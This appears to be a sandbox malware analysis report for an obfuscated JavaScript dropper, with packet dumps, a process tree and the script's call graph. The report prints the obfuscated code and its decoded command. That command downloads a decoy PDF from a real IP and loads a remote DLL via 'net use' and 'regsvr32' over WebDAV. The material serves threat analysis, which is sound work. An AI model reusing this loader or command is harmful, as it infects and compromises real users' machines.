Jan 10, 2025 17:32:40.134448051 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 17:32:40.134459972 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 17:32:40.134471893 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 17:32:40.134484053 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 17:32:40.134496927 CET	224	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`
Jan 10, 2025 17:32:40.134506941 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 17:32:40.134520054 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 17:32:40.134532928 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 10, 2025 17:32:40.134545088 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 10, 2025 17:32:40.139271975 CET	376	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49735	193.143.1.205	8888	2864	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:32:42.505037069 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 17:32:43.310115099 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:32:43 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	11:32:35
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\62212369534426657.js"
Imagebase:	0x7ff651400000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:32:36
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll
Imagebase:	0x7ff775c60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:32:36
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:32:36
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:32:41
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	11:32:41
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff775c60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:32:41
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff72d260000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:32:42
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	11:32:42
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	11:32:42
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1372,i,2302667592587128853,16734270129016424044,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function nioyujkgb() {	nioyujkgb() ➔ undefined
1	avevbmv = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var xjwmtnlz = this[qswlf + ozisluin + fvbdm + ubwztutv + vwnsapw + liebj + ncina + cahwqfw] ( this[hatyet + vtdhl + ntgms + fvbdm + emzektyu + qswlf + cahwqfw][jbvzmg + fvbdm + vwnsapw + ozisluin + cahwqfw + vwnsapw + wdgqrax + jfwmw + xvsot + vwnsapw + ntgms + cahwqfw] ( hatyet + vtdhl + ntgms + fvbdm + emzektyu + qswlf + cahwqfw + kaboc + vtdhl + wtgeznc + vwnsapw + ofizi + ofizi ) [rtyitp + vwnsapw + mvtiycch + rtyitp + vwnsapw + ozisluin + rfjsa] ( trvkyg + pmyljxmb + urekoq + rqjmtrkyd + ezjmkypoy + jbvzmg + thbum + rtyitp + rtyitp + urekoq + lnyrwdk + dnlslb + ezjmkypoy + thbum + vtdhl + urekoq + rtyitp + iudbtb + jbvzmg + sbmdiefuj + ncina + cahwqfw + fvbdm + sbmdiefuj + ofizi + rhtyez + wlftzsewo + ozisluin + ncina + vwnsapw + ofizi + iudbtb + liebj + ncina + cahwqfw + vwnsapw + fvbdm + ncina + ozisluin + cahwqfw + emzektyu + sbmdiefuj + ncina + ozisluin + ofizi + iudbtb + jkzll + sbmdiefuj + ntgms + ozisluin + ofizi + vwnsapw ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( umpimk = 0 ; umpimk < avevbmv[ofizi + vwnsapw + ncina + mvtiycch + cahwqfw + wtgeznc] ; ++ umpimk )
4	{
5	if ( xjwmtnlz == avevbmv[umpimk] )
6	{
7	xjwmtnlz = true;
8	break ;
9	}
10	}
11	if ( xjwmtnlz !== true )
12	this[hatyet + vtdhl + ntgms + fvbdm + emzektyu + qswlf + cahwqfw][ovvxyzjv + ietpjtqm + emzektyu + cahwqfw] ( );
13	this[hatyet + vtdhl + ntgms + fvbdm + emzektyu + qswlf + cahwqfw][jbvzmg + fvbdm + vwnsapw + ozisluin + cahwqfw + vwnsapw + wdgqrax + jfwmw + xvsot + vwnsapw + ntgms + cahwqfw] ( hatyet + vtdhl + ntgms + fvbdm + emzektyu + qswlf + cahwqfw + kaboc + vtdhl + wtgeznc + vwnsapw + ofizi + ofizi ) [fvbdm + ietpjtqm + ncina] ( ntgms + qkzvjgmu + rfjsa + rhtyez + dgkgaydt + ntgms + rhtyez + qswlf + sbmdiefuj + yoooawhs + vwnsapw + fvbdm + ubwztutv + wtgeznc + vwnsapw + ofizi + ofizi + kaboc + vwnsapw + cjvyux + vwnsapw + rhtyez + ohsijmtff + jbvzmg + sbmdiefuj + qkzvjgmu + qkzvjgmu + ozisluin + ncina + rfjsa + rhtyez + rjmpvk + liebj + ncina + ygocqnj + sbmdiefuj + vdfgzbzi + vwnsapw + ohsijmtff + hatyet + vwnsapw + jfwmw + rtyitp + vwnsapw + jvchnwgf + ietpjtqm + vwnsapw + ubwztutv + cahwqfw + rhtyez + ohsijmtff + wdgqrax + ietpjtqm + cahwqfw + yohdplo + emzektyu + ofizi + vwnsapw + rhtyez + nkgnbkkb + cahwqfw + vwnsapw + qkzvjgmu + qswlf + nkgnbkkb + iudbtb + emzektyu + ncina + ygocqnj + sbmdiefuj + emzektyu + ntgms + vwnsapw + kaboc + qswlf + rfjsa + irlwwv + rhtyez + wtgeznc + cahwqfw + cahwqfw + qswlf + rzwxr + dgkgaydt + dgkgaydt + lnhflxs + qgkalddy + wqmmp + kaboc + lnhflxs + beohb + wqmmp + kaboc + lnhflxs + kaboc + sxonr + skmmnsz + yzjkxntrj + dgkgaydt + emzektyu + ncina + ygocqnj + sbmdiefuj + emzektyu + ntgms + vwnsapw + kaboc + qswlf + wtgeznc + qswlf + rjmpvk + qlsbou + qlsbou + ubwztutv + cahwqfw + ozisluin + fvbdm + cahwqfw + rhtyez + nkgnbkkb + cahwqfw + vwnsapw + qkzvjgmu + qswlf + nkgnbkkb + iudbtb + emzektyu + ncina + ygocqnj + sbmdiefuj + emzektyu + ntgms + vwnsapw + kaboc + qswlf + rfjsa + irlwwv + qlsbou + qlsbou + ntgms + qkzvjgmu + rfjsa + rhtyez + dgkgaydt + ntgms + rhtyez + ncina + vwnsapw + cahwqfw + rhtyez + ietpjtqm + ubwztutv + vwnsapw + rhtyez + iudbtb + iudbtb + lnhflxs + qgkalddy + wqmmp + kaboc + lnhflxs + beohb + wqmmp + kaboc + lnhflxs + kaboc + sxonr + skmmnsz + yzjkxntrj + mmxpjguh + atviaqkf + atviaqkf + atviaqkf + atviaqkf + iudbtb + rfjsa + ozisluin + ygocqnj + yoooawhs + yoooawhs + yoooawhs + fvbdm + sbmdiefuj + sbmdiefuj + cahwqfw + iudbtb + qlsbou + qlsbou + ntgms + qkzvjgmu + rfjsa + rhtyez + dgkgaydt + ntgms + rhtyez + fvbdm + vwnsapw + mvtiycch + ubwztutv + ygocqnj + fvbdm + wqmmp + sxonr + rhtyez + dgkgaydt + ubwztutv + rhtyez + iudbtb + iudbtb + lnhflxs + qgkalddy + wqmmp + kaboc + lnhflxs + beohb + wqmmp + kaboc + lnhflxs + kaboc + sxonr + skmmnsz + yzjkxntrj + mmxpjguh + atviaqkf + atviaqkf + atviaqkf + atviaqkf + iudbtb + rfjsa + ozisluin + ygocqnj + yoooawhs + yoooawhs + yoooawhs + fvbdm + sbmdiefuj + sbmdiefuj + cahwqfw + iudbtb + sxonr + lnhflxs + vyzimael + vyzimael + wqmmp + piwdpiytd + sxonr + vyzimael + vyzimael + sxonr + yzjkxntrj + qgkalddy + yzjkxntrj + lnhflxs + kaboc + rfjsa + ofizi + ofizi, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll",0,false) ➔ 0
14	}
15	nkgnbkkb = "x";
16	nkgnbkkb = "z";
17	nkgnbkkb = "z";
18	nkgnbkkb = "s";
19	nkgnbkkb = "t";
20	nkgnbkkb = "g";
21	nkgnbkkb = "a";
22	nkgnbkkb = "w";
23	nkgnbkkb = "z";
24	nkgnbkkb = "Q";
25	nkgnbkkb = "B";
26	nkgnbkkb = "%";
27	vyzimael = "O";
28	vyzimael = "l";
29	vyzimael = "f";
30	vyzimael = "M";
31	vyzimael = "S";
32	vyzimael = "v";
33	vyzimael = "g";
34	vyzimael = "j";
35	vyzimael = "J";
36	vyzimael = "d";
37	vyzimael = "q";
38	vyzimael = "U";
39	vyzimael = "n";
40	vyzimael = "I";
41	vyzimael = "7";
42	xvsot = "Y";
43	xvsot = "e";
44	xvsot = "T";
45	xvsot = "E";
46	xvsot = "d";
47	xvsot = "k";
48	xvsot = "M";
49	xvsot = "D";
50	xvsot = "G";
51	xvsot = "O";
52	xvsot = "o";
53	xvsot = "x";
54	xvsot = "g";
55	xvsot = "j";
56	xvsot = "X";
57	xvsot = "z";
58	xvsot = "o";
59	xvsot = "j";
60	jfwmw = "C";
61	jfwmw = "M";
62	jfwmw = "I";
63	jfwmw = "w";
64	jfwmw = "a";
65	jfwmw = "L";
66	jfwmw = "W";
67	jfwmw = "K";
68	jfwmw = "h";
69	jfwmw = "Y";
70	jfwmw = "d";
71	jfwmw = "W";
72	jfwmw = "Y";
73	jfwmw = "X";
74	jfwmw = "x";
75	jfwmw = "M";
76	jfwmw = "O";
77	jfwmw = "M";
78	jfwmw = "b";
79	jfwmw = "K";
80	jfwmw = "J";
81	jfwmw = "C";
82	jfwmw = "p";
83	jfwmw = "c";
84	jfwmw = "p";
85	jfwmw = "F";
86	jfwmw = "k";
87	jfwmw = "X";
88	jfwmw = "l";
89	jfwmw = "g";
90	jfwmw = "p";
91	jfwmw = "o";
92	jfwmw = "I";
93	jfwmw = "y";
94	jfwmw = "p";
95	jfwmw = "h";
96	jfwmw = "b";
97	rzwxr = "d";
98	rzwxr = "S";
99	rzwxr = "c";
100	rzwxr = "R";
101	rzwxr = "g";
102	rzwxr = "H";
103	rzwxr = "J";
104	rzwxr = ":";
105	rtyitp = "K";
106	rtyitp = "G";
107	rtyitp = "s";
108	rtyitp = "M";
109	rtyitp = "G";
110	rtyitp = "L";
111	rtyitp = "E";
112	rtyitp = "u";
113	rtyitp = "b";
114	rtyitp = "R";
115	rtyitp = "T";
116	rtyitp = "J";
117	rtyitp = "p";
118	rtyitp = "n";
119	rtyitp = "h";
120	rtyitp = "V";
121	rtyitp = "o";
122	rtyitp = "f";
123	rtyitp = "R";
124	rtyitp = "k";
125	rtyitp = "F";
126	rtyitp = "R";
127	rqjmtrkyd = "K";
128	rqjmtrkyd = "G";
129	rqjmtrkyd = "k";
130	rqjmtrkyd = "i";
131	rqjmtrkyd = "n";
132	rqjmtrkyd = "o";
133	rqjmtrkyd = "I";
134	rqjmtrkyd = "c";
135	rqjmtrkyd = "u";
136	rqjmtrkyd = "R";
137	rqjmtrkyd = "X";
138	rqjmtrkyd = "B";
139	rqjmtrkyd = "k";
140	rqjmtrkyd = "F";
141	rqjmtrkyd = "P";
142	rqjmtrkyd = "M";
143	rqjmtrkyd = "r";
144	rqjmtrkyd = "V";
145	rqjmtrkyd = "Y";
146	jkzll = "Z";
147	jkzll = "R";
148	jkzll = "t";
149	jkzll = "k";
150	jkzll = "Z";
151	jkzll = "r";
152	jkzll = "t";
153	jkzll = "X";
154	jkzll = "w";
155	jkzll = "V";
156	jkzll = "k";
157	jkzll = "w";
158	jkzll = "M";
159	jkzll = "F";
160	jkzll = "i";
161	jkzll = "o";
162	jkzll = "l";
163	jkzll = "a";
164	jkzll = "P";
165	jkzll = "G";
166	jkzll = "Q";
167	jkzll = "d";
168	jkzll = "y";
169	jkzll = "P";
170	jkzll = "e";
171	jkzll = "y";
172	jkzll = "H";
173	jkzll = "f";
174	jkzll = "N";
175	jkzll = "H";
176	jkzll = "p";
177	jkzll = "P";
178	jkzll = "e";
179	jkzll = "C";
180	jkzll = "n";
181	jkzll = "V";
182	jkzll = "o";
183	jkzll = "N";
184	jkzll = "Z";
185	jkzll = "g";
186	jkzll = "Y";
187	jkzll = "Z";
188	jkzll = "N";
189	jkzll = "T";
190	jkzll = "L";
191	qkzvjgmu = "k";
192	qkzvjgmu = "J";
193	qkzvjgmu = "A";
194	qkzvjgmu = "P";
195	qkzvjgmu = "M";
196	qkzvjgmu = "v";
197	qkzvjgmu = "q";
198	qkzvjgmu = "u";
199	qkzvjgmu = "o";
200	qkzvjgmu = "b";
201	qkzvjgmu = "S";
202	qkzvjgmu = "D";
203	qkzvjgmu = "d";
204	qkzvjgmu = "t";
205	qkzvjgmu = "R";
206	qkzvjgmu = "l";
207	qkzvjgmu = "C";
208	qkzvjgmu = "h";
209	qkzvjgmu = "B";
210	qkzvjgmu = "X";
211	qkzvjgmu = "X";
212	qkzvjgmu = "f";
213	qkzvjgmu = "h";
214	qkzvjgmu = "n";
215	qkzvjgmu = "Z";
216	qkzvjgmu = "o";
217	qkzvjgmu = "V";
218	qkzvjgmu = "s";
219	qkzvjgmu = "o";
220	qkzvjgmu = "I";
221	qkzvjgmu = "m";
222	qkzvjgmu = "L";
223	qkzvjgmu = "G";
224	qkzvjgmu = "T";
225	qkzvjgmu = "r";
226	qkzvjgmu = "w";
227	qkzvjgmu = "X";
228	qkzvjgmu = "x";
229	qkzvjgmu = "M";
230	qkzvjgmu = "Y";
231	qkzvjgmu = "w";
232	qkzvjgmu = "S";
233	qkzvjgmu = "B";
234	qkzvjgmu = "G";
235	qkzvjgmu = "m";
236	rfjsa = "o";
237	rfjsa = "d";
238	rfjsa = "A";
239	rfjsa = "y";
240	rfjsa = "p";
241	rfjsa = "J";
242	rfjsa = "u";
243	rfjsa = "a";
244	rfjsa = "E";
245	rfjsa = "u";
246	rfjsa = "d";
247	rfjsa = "s";
248	rfjsa = "D";
249	rfjsa = "V";
250	rfjsa = "Y";
251	rfjsa = "D";
252	rfjsa = "Q";
253	rfjsa = "I";
254	rfjsa = "l";
255	rfjsa = "k";
256	rfjsa = "s";
257	rfjsa = "B";
258	rfjsa = "z";
259	rfjsa = "g";
260	rfjsa = "W";
261	rfjsa = "w";
262	rfjsa = "b";
263	rfjsa = "c";
264	rfjsa = "x";
265	rfjsa = "Q";
266	rfjsa = "G";
267	rfjsa = "B";
268	rfjsa = "f";
269	rfjsa = "I";
270	rfjsa = "O";
271	rfjsa = "d";
272	liebj = "r";
273	liebj = "O";
274	liebj = "T";
275	liebj = "L";
276	liebj = "Q";
277	liebj = "s";
278	liebj = "G";
279	liebj = "T";
280	liebj = "f";
281	liebj = "w";
282	liebj = "m";
283	liebj = "K";
284	liebj = "J";
285	liebj = "j";
286	liebj = "o";
287	liebj = "s";
288	liebj = "Z";
289	liebj = "Y";
290	liebj = "T";
291	liebj = "E";
292	liebj = "X";
293	liebj = "t";
294	liebj = "p";
295	liebj = "c";
296	liebj = "O";
297	liebj = "R";
298	liebj = "M";
299	liebj = "W";
300	liebj = "v";
301	liebj = "C";
302	liebj = "a";
303	liebj = "L";
304	liebj = "L";
305	liebj = "s";
306	liebj = "W";
307	liebj = "d";
308	liebj = "O";
309	liebj = "t";
310	liebj = "R";
311	liebj = "q";
312	liebj = "L";
313	liebj = "f";
314	liebj = "K";
315	liebj = "f";
316	liebj = "I";
317	ietpjtqm = "V";
318	ietpjtqm = "f";
319	ietpjtqm = "V";
320	ietpjtqm = "C";
321	ietpjtqm = "S";
322	ietpjtqm = "N";
323	ietpjtqm = "o";
324	ietpjtqm = "f";
325	ietpjtqm = "x";
326	ietpjtqm = "r";
327	ietpjtqm = "I";
328	ietpjtqm = "F";
329	ietpjtqm = "y";
330	ietpjtqm = "n";
331	ietpjtqm = "E";
332	ietpjtqm = "k";
333	ietpjtqm = "Q";
334	ietpjtqm = "m";
335	ietpjtqm = "B";
336	ietpjtqm = "U";
337	ietpjtqm = "y";
338	ietpjtqm = "x";
339	ietpjtqm = "E";
340	ietpjtqm = "P";
341	ietpjtqm = "V";
342	ietpjtqm = "X";
343	ietpjtqm = "A";
344	ietpjtqm = "U";
345	ietpjtqm = "I";
346	ietpjtqm = "B";
347	ietpjtqm = "R";
348	ietpjtqm = "z";
349	ietpjtqm = "S";
350	ietpjtqm = "R";
351	ietpjtqm = "L";
352	ietpjtqm = "q";
353	ietpjtqm = "O";
354	ietpjtqm = "y";
355	ietpjtqm = "b";
356	ietpjtqm = "u";
357	fvbdm = "J";
358	fvbdm = "T";
359	fvbdm = "i";
360	fvbdm = "i";
361	fvbdm = "e";
362	fvbdm = "I";
363	fvbdm = "t";
364	fvbdm = "Q";
365	fvbdm = "F";
366	fvbdm = "a";
367	fvbdm = "I";
368	fvbdm = "B";
369	fvbdm = "Z";
370	fvbdm = "m";
371	fvbdm = "D";
372	fvbdm = "n";
373	fvbdm = "T";
374	fvbdm = "u";
375	fvbdm = "L";
376	fvbdm = "x";
377	fvbdm = "b";
378	fvbdm = "J";
379	fvbdm = "c";
380	fvbdm = "I";
381	fvbdm = "r";
382	hatyet = "E";
383	hatyet = "L";
384	hatyet = "i";
385	hatyet = "r";
386	hatyet = "B";
387	hatyet = "G";
388	hatyet = "Z";
389	hatyet = "m";
390	hatyet = "N";
391	hatyet = "H";
392	hatyet = "e";
393	hatyet = "m";
394	hatyet = "W";
395	hatyet = "U";
396	hatyet = "M";
397	hatyet = "r";
398	hatyet = "x";
399	hatyet = "X";
400	hatyet = "K";
401	hatyet = "U";
402	hatyet = "W";
403	trvkyg = "W";
404	trvkyg = "B";
405	trvkyg = "u";
406	trvkyg = "W";
407	trvkyg = "i";
408	trvkyg = "v";
409	trvkyg = "k";
410	trvkyg = "Q";
411	trvkyg = "m";
412	trvkyg = "P";
413	trvkyg = "K";
414	trvkyg = "A";
415	trvkyg = "Z";
416	trvkyg = "k";
417	trvkyg = "I";
418	trvkyg = "G";
419	trvkyg = "i";
420	trvkyg = "P";
421	trvkyg = "p";
422	trvkyg = "g";
423	trvkyg = "h";
424	trvkyg = "W";
425	trvkyg = "B";
426	trvkyg = "z";
427	trvkyg = "Y";
428	trvkyg = "H";
429	ovvxyzjv = "J";
430	ovvxyzjv = "D";
431	ovvxyzjv = "X";
432	ovvxyzjv = "S";
433	ovvxyzjv = "t";
434	ovvxyzjv = "n";
435	ovvxyzjv = "O";
436	ovvxyzjv = "y";
437	ovvxyzjv = "f";
438	ovvxyzjv = "U";
